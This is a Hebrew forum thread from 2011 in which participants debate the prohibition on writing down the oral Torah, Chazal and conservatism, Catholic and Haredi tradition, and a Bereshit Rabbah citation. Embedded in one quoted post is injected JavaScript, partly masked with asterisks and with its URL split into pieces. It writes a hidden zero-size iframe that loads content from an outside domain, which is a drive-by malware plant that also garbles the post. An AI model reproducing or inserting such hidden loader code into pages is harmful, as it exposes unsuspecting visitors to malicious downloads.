על שאר הדברים לא נראה לי שיש מה להוסיף. נסכים שלא להסכים.
איך נהייתי פה 'פרקליט השטן', הה?... 
תוקן על ידי thepresent ב- 27/11/2011 22:27:30
 |
|
|
|
|
| נשלח ב-27/11/2011 22:13 |
|
| |
הנוכח הבעיה התחילה כשחז"ל לא קיימו את מה שהם גזרו
גיטין דף ס:
כתוב לך את הדברים האלה, וכתיב: +שמות ל"ד+ כי ע"פ הדברים האלה, הא כיצד? דברים שבכתב אי אתה רשאי לאומרן על פה, דברים שבעל פה אי אתה רשאי לאומרן בכתב. דבי רבי ישמעאל תנא: אלה - אלה אתה כותב, ואי אתה כותב הלכות.
הבעיה היא כשמעלים על הכתב, כי דברים שבכתב מצריכים מיד פרשנות. והפרשנות - צריכה פרשנות וכו' וכו' וכו'
התורה היתה בכתב- פורשה עם המשנה בצורה הרבה הרבה יותר ארוכה. הפרשנות של המשנה פורשה בצורה הרבה הרבה יותר ארוכה על ידי הגמרא.. הגמרא ע בצורה הרבה הרבה יותר ארוכה על ידי הראשונים והאחרונים, וכו וכו' הרמב"ם כתב את ההלכות- הפרשנות עליו היא פי מאה ויותר ממה שהוא כתב, כיוב' בשולחן הערוך המפרשים הם פי מאה ממה שכתוב בשולחן ערוך. וכל זאת למה קורה כי לא קיימו את דברי הגמרא בגיטין- הדא היא דכתיב- עבירה גוררת עבירה,
איכה פרק ה
ז) אֲבֹתֵינוּ חָטְאוּ וְאֵינָם וַאֲנַחְנוּ עֲוֹנֹתֵיהֶם סָבָלְנוּ:
|
|
|
|
| נשלח ב-28/11/2011 08:55 |
|
| |
| מיימוני כתב: |  | שותף
יש אשכול אחד לפחות שבו שירטטתי את קוי מחשבתי.
יש רשימת אשכולות במומלצים ושוב באשכול המפתחות שבהם יש דברים מרכזיים בעיני שכתבתי.
ואם יהיה לי זמן, אשתדל לסכם שוב מה אני חושב. (אני יכול לזכור כרגע כמה נושאים: גילוי סודות התורה, דרשה לתשעה באב, "לך דומיה תהלה", ביקורת על הקבלה (אתה ביקשת...), התפתחות ההלכה ו"התפתחות" ההלכה. לעת עתה זה די מספיק, ויקח מסתבר יותר זמן לעיין בהם למי שלא קרא מאשר לי לכתוב דבר חדש.******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
אז לפי דעתך כל ספקן מזדמן חייב לרוץ ולפשפש בנבכי הפורום כדי לקבל תשובות לשאלותיו ?
|
|
|
|
|
| נשלח ב-28/11/2011 11:09 |
|
| |
ל THE PRESENT מי שהורג את המתנגדים שלו מצליח להחזיק מעמד. אז אני לא בטוח שכדאי לקחת דוגמאות מהקתולים. ברגע שהם לא הצליחו יותר לסתום לאחרים את הפה באמצעות עונשי מוות הדת שלהם התפצלה והיות והיא מבוססת על אמונה ולא על פרקטיקה אין שום משמעות ללדבר על דת נוצרית אלא על דתות נוצריות ויש אלפים מהן.
לגבי חז"ל ושמרנות - חז"ל מעולם לא קידמו שמרנות כאידיאולוגיה. הם טענו שיש להם ארגז כלים שניתן בסיני וכן שניתנה להם ההכרעה מה לעשות איתו. גם אם זה סוג של שמרנות היא מסוג אחר לגמרי כי המסורת האוראלית הזו אינה דבר מה סגור שאין לשנותו בשום פנים ואופן, אלא משהו חי המגיב למה שמתרחש בעולם. לגבי דיאלוג - הראיתי לך שביהדות כן ניהלו דיאלוגים אפילו בפרשנות שלך. לא מדוייק שאי אפשר לנהל דיאלוג בהגדדרה המרחיבה, צריך פשוט לא להתייחס למה שאחרים עושים. למשל הפסיקה החרדית בוודאי לא מנהלת דיאלוג עם הפסיקה הקונסרבטיבית כי פשוט לא אכפת להם מה הקונ' פוסקים. העובדה שהחרדיות מנהלת דיאלוג עם המציאות סביבה מעידה כאלף מונים על כך שהאמונה העצמית של החרדיות כשימור היא הונאה עצמית - מדובר ביצירת משהו חדש.
לגבי אלוהים כבעל גוף בבראשית רבה - לא מצאתי את מראה המקום, אז אני חוזר בי מטענתי, לפחות כרגע.
 |
|
|
|
|
|